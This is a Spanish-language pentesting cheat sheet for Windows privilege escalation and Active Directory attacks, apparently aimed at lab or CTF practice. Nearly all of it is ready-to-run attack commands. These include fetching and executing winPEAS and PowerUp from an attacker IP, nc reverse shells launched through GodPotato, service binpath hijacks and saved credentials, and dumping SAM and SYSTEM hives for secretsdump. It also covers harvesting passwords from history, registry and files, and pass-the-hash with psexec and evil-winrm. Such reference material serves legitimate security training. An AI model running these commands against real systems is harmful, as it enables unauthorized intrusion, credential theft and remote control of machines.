Escalada en Windows y Active Directory

Comandos para enumerar Windows y pasar a SYSTEM (SeImpersonate, servicios, AlwaysInstallElevated, credenciales) y lo básico de Active Directory (Kerberoasting, AS-REP, BloodHound, DCSync).

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Windows

Enumeración

Usuario, grupos y privilegios
whoami /all
Sistema y parches
systeminfo
Usuarios y administradores
net user
net localgroup administrators
Puertos internos
netstat -ano | findstr LISTENING
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exe
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks

Privilegios de token

SeImpersonate con GodPotato
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"

Típico en cuentas de servicio (IIS, MSSQL). Alternativas para versiones antiguas, PrintSpoofer y JuicyPotatoNG.

SeImpersonate con PrintSpoofer
.\PrintSpoofer64.exe -i -c powershell
SeBackupPrivilege (copiar SAM y SYSTEM)
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Sacar los hashes de SAM Atacante
impacket-secretsdump -sam sam -system system LOCAL

Servicios

Rutas sin comillas con espacios
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Configuración y permisos de un servicio
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Cambiar el binario de un servicio modificable
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicio

AlwaysInstallElevated

Comprobar (las dos claves a 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Instalar un MSI malicioso
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi

Crea el MSI con msfvenom (ver la chuleta de reverse shells).

Credenciales guardadas

Historial de PowerShell
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Credenciales de Windows guardadas
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Autologon en el registro
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Buscar contraseñas en ficheros
findstr /si /m "password" C:\inetpub\*.config C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini
Credencial PSCredential en XML
$c = Import-Clixml -Path cred.xml; $c.GetNetworkCredential().Password

Acceso remoto

WinRM Atacante
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash con psexec Atacante
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash con evil-winrm Atacante
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT